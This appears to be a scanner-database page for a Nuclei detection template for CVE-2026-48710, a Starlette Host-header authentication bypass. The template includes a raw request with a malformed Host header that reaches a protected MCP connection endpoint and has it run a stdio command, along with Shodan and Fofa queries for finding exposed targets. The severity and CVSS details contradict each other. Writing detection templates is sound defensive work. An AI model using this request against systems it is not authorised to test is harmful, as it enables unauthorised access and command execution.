SecurityContext

CVE-2026-48710: Starlette - Improper Validation of Unsafe Equivalence in Input

  • Template: CVE-2026-48710
  • Name: Starlette - Improper Validation of Unsafe Equivalence in Input
  • Description: A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.
  • Impact: A remote attacker can exploit this vulnerability by sending a specially crafted HTTP Host header in a request to a Starlette-based application. Due to improper validation of the Host header, security restrictions that rely on request.url for enforcement may be bypassed. This allows attackers to gain unauthorized access to endpoints protected by middleware or path-based checks, potentially leading to privilege escalation, information disclosure, or unauthorized actions.
  • Remediation: Upgrade Starlette to >= 1.0.1 to address this vulnerability.If immediate patching is not possible, implement strict Host header validation in a reverse proxy or web server (such as nginx or Apache) to only allow expected Host values, mitigating the risk of URL-based restriction bypass.
  • Severity: critical
  • Authors: ritikchaddha
  • Tags: cve, cve2026, starlette, auth-bypass, badhost, vkev, kev
  • References: https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr, https://nvd.nist.gov/vuln/detail/CVE-2026-48710
  • Cves: CVE-2026-48710
  • Max requests: 2
  • Directory: http/cves
  • Path: http/cves/2026/CVE-2026-48710.yaml
  • Digest: 4a0a0047304502207393d92afb8cef46bc0eef5e049cb37c18db21eb631eacd6f4885f6cb6b68d2c0221009d07142057e67835e397bbabade386d70cd91c5822fadd4e2a3c2e4278c04b15
  • Created at: 2026-06-04T11:17:09Z
  • Updated at: 2026-11-22T02:03:55Z
  • Age in days: 173
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-48710.yaml
  • Checked, none or zero: verified

Classification

  • Cwe: CWE-1289
  • Cvss score: 6.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
  • Epss score: 0.70288
  • Epss percentile: 0.99397
  • Not known: cpe

Metadata

  • Fofa-query: body="starlette"
  • Max-request: 2
  • Product: starlette
  • Shodan-query: http.html:"starlette"
  • Vendor: Kludex

Products

ProductIndexedUrl
kludex:starletteno—

Labels

  • Name: Starlette - Host Header Injection
  • Impact: Attackers can bypass security restrictions relying on request.url, potentially leading to unauthorized access or privilege bypass.
  • Remediation: Upgrade to version 1.0.1 or later.
  • Vulnerability type: host_header_injection
  • Vulnerability impact: broken_access_control
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2026-48710
  • Not known: requirements

```yaml

id: CVE-2026-48710

info:

name: Starlette - Improper Validation of Unsafe Equivalence in Input

author: ritikchaddha

severity: critical

description: |

A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.

impact: |

A remote attacker can exploit this vulnerability by sending a specially crafted HTTP Host header in a request to a Starlette-based application. Due to improper validation of the Host header, security restrictions that rely on request.url for enforcement may be bypassed. This allows attackers to gain unauthorized access to endpoints protected by middleware or path-based checks, potentially leading to privilege escalation, information disclosure, or unauthorized actions.

remediation: |

Upgrade Starlette to >= 1.0.1 to address this vulnerability.If immediate patching is not possible, implement strict Host header validation in a reverse proxy or web server (such as nginx or Apache) to only allow expected Host values, mitigating the risk of URL-based restriction bypass.

reference:

- https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr

- https://nvd.nist.gov/vuln/detail/CVE-2026-48710

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

cvss-score: 6.5

cve-id: CVE-2026-48710

epss-score: 0.70288

epss-percentile: 0.99397

cwe-id: CWE-1289

metadata:

max-request: 2

vendor: Kludex

product: starlette

shodan-query: http.html:"starlette"

fofa-query: body="starlette"

tags: cve,cve2026,starlette,auth-bypass,badhost,vkev,kev

flow: http(1) && http(2)

http:

- raw:

- |

POST /mcp-rest/test/connection HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{"transport":"stdio","command":"echo","args":["test"]}

matchers:

- type: dsl

dsl:

- 'status_code == 401'

- 'contains_any(body, "auth_error", "Authentication Error")'

condition: and

internal: true

- raw:

- |

POST /mcp-rest/test/connection HTTP/1.1

Host: a/?x=

Content-Type: application/json

Content-Length: 54

{"transport":"stdio","command":"echo","args":["test"]}

unsafe: true

matchers-condition: and

matchers:

- type: word

words:

- "Failed to connect to MCP server"

- "status"

condition: and

- type: status

status:

- 200

digest: 4a0a0047304502207393d92afb8cef46bc0eef5e049cb37c18db21eb631eacd6f4885f6cb6b68d2c0221009d07142057e67835e397bbabade386d70cd91c5822fadd4e2a3c2e4278c04b15:922c64590222798bb761d5b6d8e72950

```